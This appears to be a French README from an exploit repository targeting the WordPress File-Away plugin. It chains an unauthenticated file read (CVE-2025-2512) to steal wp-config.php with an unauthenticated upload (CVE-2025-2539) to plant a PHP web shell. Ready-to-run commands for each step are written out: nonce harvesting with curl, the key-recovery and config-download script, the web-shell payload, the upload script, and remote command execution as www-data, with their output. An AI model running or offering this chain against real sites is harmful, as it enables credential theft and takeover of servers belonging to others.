
Scripts d'exploit d'exécution de code à distance pour le plugin WordPress File-Away (CVE-2025-2512 & CVE-2025-2539)
Ce dépôt contient les détails des vulnérabilités et les scripts trouvés dans File-Away, un plugin WordPress utilisé pour la gestion de fichiers.
Ce plugin contient deux vulnérabilités pouvant mener à une exécution de code à distance (Testé sur File-Away 3.9.9.0.1) :
Le plugin File-Away pour WordPress est vulnérable à une lecture arbitraire de fichier non authentifiée dans toutes les versions jusqu'à la 3.9.9.0.1 incluse.
Cette vulnérabilité existe à cause de deux problèmes : l'absence de vérification d'authentification dans la fonction lib/cls/class.fileaway_stats.php:file_away_stats->ajax() et l'utilisation d'un algorithme de chiffrement faible dans la fonction lib/cls/class.fileaway_encrypted.php:fileaway_encrypted->encrypt().
Cela permet à des attaquants non authentifiés de lire des fichiers arbitraires, y compris le fichier de configuration WordPress (wp-config.php).
Le plugin File-Away pour WordPress est vulnérable à un téléversement arbitraire de fichier non authentifié dans toutes les versions jusqu'à la 3.9.9.0.1 incluse.
Cette vulnérabilité existe à cause de deux problèmes : l'absence de vérification d'authentification et la mauvaise vérification du type de fichier, tous deux dans la fonction lib/cls/class.fileaway_management.php:fileaway_management->upload().
Cela permet à des attaquants non authentifiés de téléverser des fichiers arbitraires pouvant mener à une exécution de code.
Si le plugin file-away est installé et activé sur l'instance WordPress ciblée, le nonce fileaway_stats devrait être présent sur la page d'index :
curl -sk http://127.0.0.1:8000/ | grep -E '^var fileaway_stats.*nonce\":\"([a-f0-9]+)\"};$'
var fileaway_stats = {"ajaxurl":"http:\/\/127.0.0.1:8000\/wp-admin\/admin-ajax.php","nonce":"ff57064c96"};
Installer les prérequis python :
python3 -m venv venv && venv/bin/pip install httpx
Utiliser la vulnérabilité de lecture arbitraire de fichier pour obtenir le fichier de configuration de l'instance WordPress (wp-config.php) :
venv/bin/python3 get_config.py -t http://127.0.0.1:8000
[+] File-Away nonce: ff57064c96
[-] Encrypted web root: LcZh3iec7c3vfHRt2C8=
[-] Decoder: .i%B7%1Dy%F8%21%8A9%25%9Az%29%AA%BB-%BA%FC1%CB%3D5%DB~9%EB%BF%3D
[-] Charset: abcdefghijklmnopqrstuvwxyz0123456789
[+] Encryption Key: f2379aghijklmnopqrstuvwxyz65bc410d8e
[+] Decrypted web root: /var/www/html
[+] Config file downloaded: 127.0.0.1:8000_wp-config.php
Créer un fichier PHP à téléverser :
echo '<?php system("id"); ?>' > /tmp/exec.php
Utiliser la pour téléverser le fichier sur le serveur :
PHPvenv/bin/python3 file_upload.py -t http://127.0.0.1:8000 -c 127.0.0.1:8000_wp-config.php -w /var/www/html/ -f /tmp/exec.php
[-] nonce: 4810861b18
[-] upload_nonce: 0c3f44ae83
[-] loc_nonce: a17a2df989
[+] File uploaded: http://127.0.0.1:8000/wp-content/exec.php
⚠️ Le fichier est téléversé dans le répertoire wp-content par défaut ⚠️
Accéder au fichier PHP téléversé :
curl -sk http://127.0.0.1:8000/wp-content/exec.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)